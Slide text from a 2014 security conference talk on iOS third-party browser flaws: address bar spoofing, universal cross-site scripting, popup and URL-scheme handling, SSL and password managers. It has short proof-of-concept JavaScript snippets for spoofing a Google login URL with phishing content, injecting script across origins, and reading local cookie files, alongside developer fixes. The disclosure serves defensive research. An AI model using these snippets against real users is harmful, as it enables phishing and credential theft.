Mobile Browsers Security:iOS!

Łukasz Pilorz, Paweł Wyleciał!

SyScan360 2014

Mobile Browsers Security: iOS

This presentation expresses
our private opinions.
!
!
!

The sample attacks against Google andPayPal users demonstrated in this presentation
are based on vulnerabilities in the browsers,
not in these websites.

Mobile Browsers Security: iOS!
!
!

Łukasz Pilorz

Paweł Wyleciał!

Thank you: Marek Zmysłowski, Aleksander DrośMobile Browsers Security: iOS

In this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOS

In this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOS

iOS Browsers

iOS Browsers

iOS Browser == Mobile Safari?

•iOS App Store Review Guidelines:„Apps that browse the web must use the iOS
WebKit framework and WebKit Javascript”

WebView-based

Proxy-rendering

Introduction: iOS Browsers

iOS Third-Party Browsers> 60 browsers in App StoreUIWebView & WKWebView

UIWebView & WKWebView

UIWebView & WKWebView

UIWebView API•loadRequest:•loadHTMLString:baseURL:•loadData:MIMEType:textEncodingName:baseURL:•

goBack/goForward/stopLoading/reload•

request (read-only)
UIWebView & WKWebView

UIWebView API•stringByEvaluatingJavaScriptFromString:in the origin of currently loaded request.mainDocumentURL

http://example.com

http://hidden.tld

No access to subframes
from other domain than
the top document.

UIWebView & WKWebView

JavaScript
used toimplementbrowserfeaturesand to override native functions tobridge them with Objective-C code

UIWebView & WKWebView

UIWebViewDelegate• webView:shouldStartLoadWithRequest:navigationType:•webViewDidStartLoad:•webViewDidFinishLoad:•webView:didFailLoadWithError:

UIWebView & WKWebView

iOS8 beta: WKWebView•

configuration.preferences•

configuration.userContentController•

navigationDelegate•

UIDelegate•

URL (KVO)•

hasOnlySecureContent (KVO)
UIWebView & WKWebView

Bolted-on by the browsers•

Address bar•

Multiple tabs•Downloads•

Support for untrusted SSL certificates•

Autocomplete & password manager•… and many more features (safety ratings, malware
protection, cloud integration, …)
UIWebView & WKWebView

Testing•

Inspiration from Browser Security Handbook•

Retesting previous Mobile Safari bugs•

“Black-box” testing from web perspective, review ofJavaScript code, a bit of reversing / debugging•

Cross-browser test cases:
https://ios.browsr-tests.com
UIWebView & WKWebView

In this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOSAddress Bar Spoofing

Address Bar SpoofingAddress bar spoofing

Look-alike

URL tracking
desynchronization!

IDN etc.

Address Bar Spoofing

URL tracking desynchronization•Navigate to untracked content"•

Initiate navigation, interrupt, overwrite content"•

Failed navigation"•Loading loop"•

Lots of other methods (race conditions, history, …)•

Most of them known for over 10 years (IE, Netscape)Address Bar SpoofingAddress Bar Spoofing:
Untracked Content

Address Bar SpoofingUntracked Content

Replace window content with untracked content
document.write and/or data: URIs
are usually good candidates:•w = window.open(‘https://accounts.google.com’);
setTimeout(function(){w.document.write(...)}, …);Address Bar SpoofingUntracked Content•

CVE-2013-5152
Mobile Safari Address Bar Spoofing
reported in iOS 5.1.1, fixed in iOS 7

Address Bar SpoofingAddress Bar Spoofing:
Init & Interrupt

Address Bar Spoofing

Init & Interrupt
Initialise window with target URL, replace withphishing content before it loads:•

w = window.open(‘https://accounts.google.com’);w.document.write(…);

Optionally fall-back to native window.open:•

delete window.open;w = window.open(‘https://accounts.google.com’);w.document.write(…);
Address Bar SpoofingAddress Bar Spoofing

Init & Interrupt•

CVE-2013-6895 Kaspersky Safe Browser•

CVE-2013-6898 F-Secure Safe Browser"•

CVE-2013-6897 Dolphin Browser•… and 45% of tested browsers•

Special guest star:
Google Chrome for Android
CVE-2013-6642
Address Bar Spoofing

Bug Bounty:-)Address Bar Spoofing:
Failed Navigation

Address Bar SpoofingFailed Navigation
Incorrect URL often remains in address bar after navigation errors:•DNS NXDOMAIN - host not found (https://login.target.tld)•TCP port closed (https://www.target.tld:448)•SSL errors (https://target.tld)!

•Display phishing page, then redirect to “incorrect” URL"•

Mobile Safari before iOS 7: window.focus() orwindow.open().close() allowed suppressing error alerts
Address Bar SpoofingAddress Bar Spoofing:
Loading loop

Address Bar Spoofing

Loading loop•HTTP request timeout in iOS browsers is usually
between 1 and 10 minutes•

Address bar in Mobile Safari and many other iOS
browsers is updated on navigation attempt, even
before an actual connection is made.

•Now we only need to find a target with filtered port 443•

Or any filtered port, because Mobile Safari shows only
the hostname part of the URL
Address Bar Spoofing

Loading loop•

document.write('Phishing page here.');location = 'https://accounts.google.com:8443';
setInterval(function() {location='https://accounts.google.com:8443'}, …);Address Bar Spoofing

Phishing page:

Address Bar SpoofingTitle bar<title>https://www.apple.com</title>
Address Bar SpoofingAddress bar tips•

Display the URL that is currently loaded within
UIWebView, not the one you think will be there.

•UIWebViewDelegate: Update address bar on each
event, including webView:didFailLoadWithError.

•Displaying SSL lock makes sense if there was an actual
successful and valid SSL connection. Spoofing https://URL seems easy, don’t make it worse by automaticallyadding SSL lock.

•iOS8: KVO-compliant WKWebView.URL property
Address Bar SpoofingIn this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOSUXSS: Universal
Cross-Site Scripting

UXSS: Universal Cross-Site ScriptingUniversal Cross-Site Scripting
XSS enables attackers to inject client-side script
into web pages viewed by other users,
bypassing same-origin policy.
In UXSS, the attacker exploits vulnerability
in the browser, not in the website.
(~ http://en.wikipedia.org/wiki/Cross-site_scripting)
Famous after PDF UXSS in 2007
UXSS: Universal Cross-Site ScriptingUniversal Cross-Site Scripting•

CVE-2013-6893
UXSS in Mercury Browser for iOS•

CVE-2013-7197
UXSS in Yandex.Browser for iOS•

CVE-2012-2899
UXSS in Google Chrome for iOS•…
UXSS: Universal Cross-Site ScriptingUniversal Cross-Site Scripting

UXSS: Universal Cross-Site ScriptingCVE-2013-6893
UXSS in Mercury Browser

UXSS: Universal Cross-Site ScriptingCVE-2013-6893 Mercury UXSSw = window.open(‘about:blank’);yrergfoema-frsscro!

mbexec://$(WINDOW_ID)#[{"command":"window.open","target":"1234",“url":"about:blank"}]

Math.random()[webView loadRequest: … @“about:blank” …];
UXSS: Universal Cross-Site ScriptingCVE-2013-6893 Mercury UXSS
w.document.write(‘Hi!’);!

mbexec://$(WINDOW_ID)#[{“command":"window.document.write","target":"1234",“html”:"Hi!"}][webView stringByEvaluatingJavaScriptFromString:@“document.write(‘Hi!’)”];UXSS: Universal Cross-Site ScriptingCVE-2013-6893 Mercury UXSS

Mercury Browser for iOS does not implement
same-origin policy restrictions for cross-tab calls.
Any at all.
w = window.open(‘https://accounts.google.com');w.document.write(‘<script src=…></script>’);…and it just works, in accounts.google.com.
UXSS: Universal Cross-Site Scripting

UXSS: Universal Cross-Site ScriptingCVE-2013-7197
UXSS in Yandex.Browser

UXSS: Universal Cross-Site ScriptingCVE-2013-7197 Yandex UXSS•

Same-origin check implemented on window.open()•Not rechecked on window.document.write()!

•Redirect child window after window.open()!

UXSS
UXSS: Universal Cross-Site Scripting

Bug Bounty:-)CVE-2012-2899
UXSS in Google Chrome

UXSS: Universal Cross-Site ScriptingCVE-2012-2899 Chrome UXSS•w = window.open(location.href);w.document.write(‘Hi!’);!
!

•[webView loadHTMLString:@“Hi!” baseURL:href];

UXSS: Universal Cross-Site ScriptingCVE-2012-2899 Chrome UXSS•w = window.open(‘about:blank’);w.document.write(…);!
!

•about:blank is kind of “no URL”, right?

•[webView loadHTMLString:@“…” baseURL:nil];
UXSS: Universal Cross-Site ScriptingCVE-2012-2899 Chrome UXSS•For baseURL = nil,
UIWebView loads applewebdata: origin
Same as file:/// - no same-origin policy,
access to any web origin and local files

UXSS: Universal Cross-Site ScriptingCVE-2012-2899 Chrome UXSS•w = window.open(‘about:blank’);w.document.write(‘<script>document.write(location.href)</script>’);!

•applewebdata: origin•

UXSS + local file access(application sandbox/jailbreak)
UXSS: Universal Cross-Site Scripting

Bug Bounty:-)Safe cross-tab document.write?
•w = window.open(location.href);w.document.write(‘Hi!’);!
!

•[webView loadHTMLString:@“Hi!”baseURL: [NSURL …@“about:blank”];
UXSS: Universal Cross-Site ScriptingSafe cross-tab document.write?

• iOS8: use WKWebView.UIDelegate
webView:createWebViewWithConfiguration:forNavigationAction:windowFeatures:

UXSS: Universal Cross-Site ScriptingOther potential paths toapplewebdata: or file:/// origin•

baseURL:[NSURL URLWithString:@“http://example.com/%”];—> nil•CFURLCreateWithString(kCFAllocatorDefault,
CFSTR(“http://example.com/%"), NULL);—> NULL•

Downloads opened directly from file:///UXSS: Universal Cross-Site Scripting

Content-Disposition: attachment•

displayed in the origin of hosting site (iOS < 5)
CVE-2011-3426: Christian Matthies, Yoshinori Oota•

isolated attachment origin (iOS 5 +)•document.location.href•

document.referrer•

w=window.open(‘https://’+location.hostname);w.document.write(‘custom SOP implementation’);
UXSS: Universal Cross-Site Scripting

Content-Type•text/plainHTML (iOS < 7)
CVE-2013-5151, Ben Toews•

application/octet-streamHTML•application/otherfilename.html

UXSS: Universal Cross-Site ScriptingJS without Same-Origin-Policy<script>a = document.location.href.split('/');
if(a[0]==='file:') {path = ‘file:///'+a[3]+'/'+a[4]+'/'+a[5]+'/'+a[6]+’/'+a[7];path = path+'/Library/Cookies/Cookies.binarycookies';x = new XMLHttpRequest();x.open('GET', path, false);
x.send();alert(x.responseText);}</script>
UXSS: Universal Cross-Site ScriptingJS without Same-Origin-Policy<script>x = new XMLHttpRequest();x.open(‘GET', ‘https://your.intranet', false);
x.send();alert(x.responseText);</script>

UXSS: Universal Cross-Site ScriptingChallenge:Hijack password autofill

UXSS: Universal Cross-Site Scripting

Opening local HTML files safely•

Open as text/plain•

Content-Security-Policy header / HTML5 sandbox•

baseURL = about:blank•

iOS8: WKWebView.configuration.preferences.javaScriptEnabled = false

UXSS: Universal Cross-Site ScriptingIn this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOSPopups & URL handling

Popups & URL handlingPopup blockers!

Native(WebKit)

Application(bolted-on)!

•Browsers rewriting href attributes for target=_blankcan be usually tricked into believing navigation wasinitiated by user•

<iframe src=“googlechrome://example.com”><iframe src=“merc://example.com”>
etc bypass all popup blockers anyway…
Popups & URL handling

URI schemes!

Registered(external)

Bridge(internal)!

•scheme://download/https://secure.tld/victim.datascheme://download/http://attacker.tld/README.html•scheme://add-filter/url=*

Popups & URL handlingCFURL Null Pointer Dereference•

Any CFURL* function that gets NULL as an argument
will cause Null Pointer Dereference•Tested with percent encoding:
http://%, http://%5, http://%5c etc.
!
!

•Example: Opera Coast<script>document.location = ‘http://%5c’;</script>
Popups & URL handling

Opera Coast
Program received signal EXC_BAD_ACCESS, Could
not access memory.
Reason: KERN_INVALID_ADDRESS at address:
0x00000000
0x2f3e0d76 in CFURLCopyPath()

Popups & URL handling•Special guest star:
Safari on OS X Mavericks
before Security Update 2014-02 (CVE-2014-1315)<iframe src=“lets-try-format-string:%p%p%p%p…”>

Popups & URL handling<iframe src=“lets-try-format-string:%p%p%p%p…”>

Popups & URL handlingIn this presentation• iOS Browsers, UIWebView, WKWebView• Address Bar Spoofing• Universal Cross-Site Scripting• Popups & URL handling• SSL & password managers
Mobile Browsers Security: iOSSSL•

By default invalid certificates for iOS UIWebView
https requests are rejected without user interaction•

This can be changed(e.g. allowing a user to accept self-signed cert)•14% of tested browsers:
self-signed SSL certificates are silently accepted•

In some cases, the validation is done for main
domain only (e.g. Opera Coast < 3.0.2)
SSL & password managers

SSL & password managers

Password managers•

JavaScript with privileges of top frame—> passwords not filled for subframes•

Usually possible to force saving password foranother domain (with/without user interaction)•Password filling checks for domain, but not always
for URL scheme (https: vs http:)

SSL & password managers

SSL & password managers

Summary•

UIWebViews should be replaced with iOS8
WKWebViews in browser applications•

Most 3rd party iOS browsers are experimental orside projects, built with less attention to detail.

•Mobile device management and other enterprisesolutions often include a browser application.
Did you test it?
Mobile Browsers Security: iOSReferences•

https://developer.apple.com/library/ios/documentation/
AppleApplications/Reference/SafariWebContent/•https://developer.apple.com/library/ios/documentation/UIKit/
Reference/UIWebView_Class/Reference/Reference.html•

https://developer.apple.com/library/ios/documentation/UIKit/
Reference/UIWebViewDelegate_Protocol/Reference/Reference.html•

https://developer.apple.com/library/mac/documentation/
corefoundation/Reference/CFURLRef/Reference/reference.html•

https://developer.apple.com/library/prerelease/ios/documentation/
WebKit/Reference/WKWebView_Ref/index.html
Mobile Browsers Security: iOSReferences•

https://code.google.com/p/browsersec/•

http://www.w3.org/TR/CSP/•

http://www.slideshare.net/iphonepentest/ios-application-insecurity•

https://labs.mwrinfosecurity.com/blog/2012/04/16/adventures-with-iosuiwebviews/•

http://www.shmoo.com/idn/•

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html•

http://research.microsoft.com/pubs/73101/guilogicsecurity.pdf•

http://gs.statcounter.com
Mobile Browsers Security: iOSReferences•

https://code.google.com/p/chromium/issues/detail?id=146760•

https://code.google.com/p/chromium/issues/detail?id=147625•

https://code.google.com/p/chromium/issues/detail?id=324969•

https://code.google.com/p/chromium/issues/detail?id=326118•

https://code.google.com/p/chromium/issues/detail?id=326125•

https://code.google.com/p/chromium/issues/detail?id=348640•

http://blogs.opera.com/mobile/2014/05/opera-coast-updated-3-02/•

http://www.f-secure.com/en/web/labs_global/fsc-2014-4
Mobile Browsers Security: iOSReferences•

http://browser-shredders.blogspot.com•

https://ios.browsr-tests.com

Mobile Browsers Security: iOS

Questions?

Mobile Browsers Security: iOSThank you

lukasz.pilorz@runic.pl, pawel.wylecial@gmail.com!

Twitter: @runicpl, @h0wlu

Mobile Browsers Security: iOS